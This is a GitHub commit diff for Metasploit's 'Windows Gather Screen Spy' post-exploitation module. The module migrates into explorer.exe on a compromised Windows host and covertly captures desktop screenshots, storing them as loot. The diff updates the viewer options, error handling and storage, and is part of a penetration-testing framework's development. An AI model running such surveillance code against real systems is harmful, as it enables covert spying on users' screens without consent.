Skip to content

Commit 3334257

Browse files
committed
Merge branch 'bug/fix_screenspy' of github.com:kernelsmith/metasploit-framework into kernelsmith-bug/fix_screenspy
2 parents 38af8ba + 8a91f0d commit 3334257

File tree

1 file changed

+66
-33
lines changed

1 file changed

+66
-33
lines changed

modules/post/windows/gather/screen_spy.rb

Lines changed: 66 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -13,34 +13,39 @@ def initialize(info={})
1313
super( update_info(info,
1414
'Name' => 'Windows Gather Screen Spy',
1515
'Description' => %q{
16-
This module will incrementally take screenshots of the meterpreter host. This
16+
This module will incrementally take desktop screenshots from the host. This
1717
allows for screen spying which can be useful to determine if there is an active
1818
user on a machine, or to record the screen for later data extraction.
19+
NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name
20+
will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to
21+
have the module do it's best...default browser for Windows, firefox for *nix, and
22+
preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress
23+
opening of screenshots all together, set the VIEW_CMD option to 'none'.
1924
},
2025
'License' => MSF_LICENSE,
2126
'Author' =>
2227
[
2328
'Roni Bachar <roni.bachar.blog[at]gmail.com>', # original meterpreter script
2429
'bannedit', # post module
25-
'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record support
30+
'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record/loot support,log x approach, nx
2631
'Adrian Kubok' # better record file names
2732
],
28-
'Platform' => ['win'],
33+
'Platform' => ['win'], # @todo add support for posix meterpreter somehow?
2934
'SessionTypes' => ['meterpreter']
3035
))
3136

3237
register_options(
3338
[
34-
OptInt.new('DELAY', [false, 'Interval between screenshots in seconds', 5]),
35-
OptInt.new('COUNT', [false, 'Number of screenshots to collect', 60]),
36-
OptString.new('BROWSER', [false, 'Browser to use for viewing screenshots', 'firefox']),
37-
OptBool.new('RECORD', [false, 'Record all screenshots to disk',false])
39+
OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]),
40+
OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]),
41+
OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']),
42+
OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false])
3843
], self.class)
3944
end
4045

4146
def run
4247
host = session.session_host
43-
screenshot = Msf::Config.install_root + "/data/" + host + ".jpg"
48+
screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"
4449

4550
migrate_explorer
4651
if session.platform !~ /win32|win64/i
@@ -55,46 +60,73 @@ def run
5560
return
5661
end
5762

58-
# here we check for the local platform and use default browsers
59-
# linux is the one question mark firefox is not necessarily a
60-
case ::Config::CONFIG['host'] # neat trick to get the local system platform
61-
when /ming/
62-
cmd = "start #{datastore['BROWSER']} \"file://#{screenshot}\""
63-
when /linux/
64-
cmd = "#{datastore['BROWSER']} file://#{screenshot}"
65-
when /apple/
66-
cmd = "open file://#{screenshot}" # this will use preview
63+
# here we check for the local platform to determine what to do when 'auto' is selected
64+
if datastore['VIEW_CMD'].downcase == 'auto'
65+
case ::RbConfig::CONFIG['host_os']
66+
when /mac|darwin/
67+
cmd = "open file://#{screenshot}" # this will use preview usually
68+
when /mswin|win|mingw/
69+
cmd = "start iexplore.exe \"file://#{screenshot}\""
70+
when /linux|cygwin/
71+
# This opens a new tab for each screenshot, but I don't see a better way
72+
cmd = "firefox file://#{screenshot} &"
73+
else # bsd/sun/solaris might be different, but for now...
74+
cmd = "firefox file://#{screenshot} &"
75+
end
76+
elsif datastore['VIEW_CMD'].downcase == 'none'
77+
cmd = nil
78+
else
79+
cmd = "#{datastore['VIEW_CMD']}#{screenshot}"
6780
end
6881

6982
begin
7083
count = datastore['COUNT']
71-
print_status "Capturing %u screenshots with a delay of %u seconds" % [count, datastore['DELAY']]
84+
print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
7285
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
73-
leading_zeros = Math::log(count,10).round
86+
leading_zeros = Math::log10(count).round
87+
file_locations = []
7488
count.times do |num|
7589
select(nil, nil, nil, datastore['DELAY'])
76-
data = session.espia.espia_image_get_dev_screen
90+
begin
91+
data = session.espia.espia_image_get_dev_screen
92+
rescue RequestError => e
93+
print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
94+
return false
95+
end
7796
if data
7897
if datastore['RECORD']
79-
# let's write it to disk using non-clobbering filename
80-
shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num
81-
ss = ::File.new(shot, 'wb')
82-
ss.write(data)
83-
ss.close
98+
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest
99+
fn = "screenshot.%0#{leading_zeros}d.jpg" % num
100+
file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot")
84101
end
85102

86-
fd = ::File.new(screenshot, 'wb')
87-
fd.write(data)
88-
fd.close
103+
# also write to disk temporarily so we can display in browser. They may or may not have been RECORDed.
104+
if cmd # do this if they have not suppressed VIEW_CMD display
105+
fd = ::File.new(screenshot, 'wb')
106+
fd.write(data)
107+
fd.close
108+
end
89109
end
90-
system(cmd)
110+
system(cmd) if cmd
91111
end
92-
rescue ::Exception => e
93-
print_error("Error taking screenshot: #{e.class} #{e} #{e.backtrace}")
112+
rescue IOError, Errno::ENOENT => e
113+
print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
94114
return
95115
end
96116
print_status("Screen Spying Complete")
97-
::File.delete(screenshot)
117+
if file_locations and not file_locations.empty?
118+
print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot"
119+
end
120+
if cmd
121+
# wait 2 secs so the last file can get opened before deletion
122+
select(nil, nil, nil, 2)
123+
begin
124+
::File.delete(screenshot)
125+
rescue Exception => e
126+
print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}")
127+
print_error("This may be due to the file being in use if you are on a Windows platform")
128+
end
129+
end
98130
end
99131

100132
def migrate_explorer
@@ -105,9 +137,10 @@ def migrate_explorer
105137
begin
106138
session.core.migrate(p['pid'].to_i)
107139
print_status("Migration successful")
140+
return p['pid']
108141
rescue
109142
print_status("Migration failed.")
110-
return
143+
return nil
111144
end
112145
end
113146
end

0 commit comments

Comments
 (0)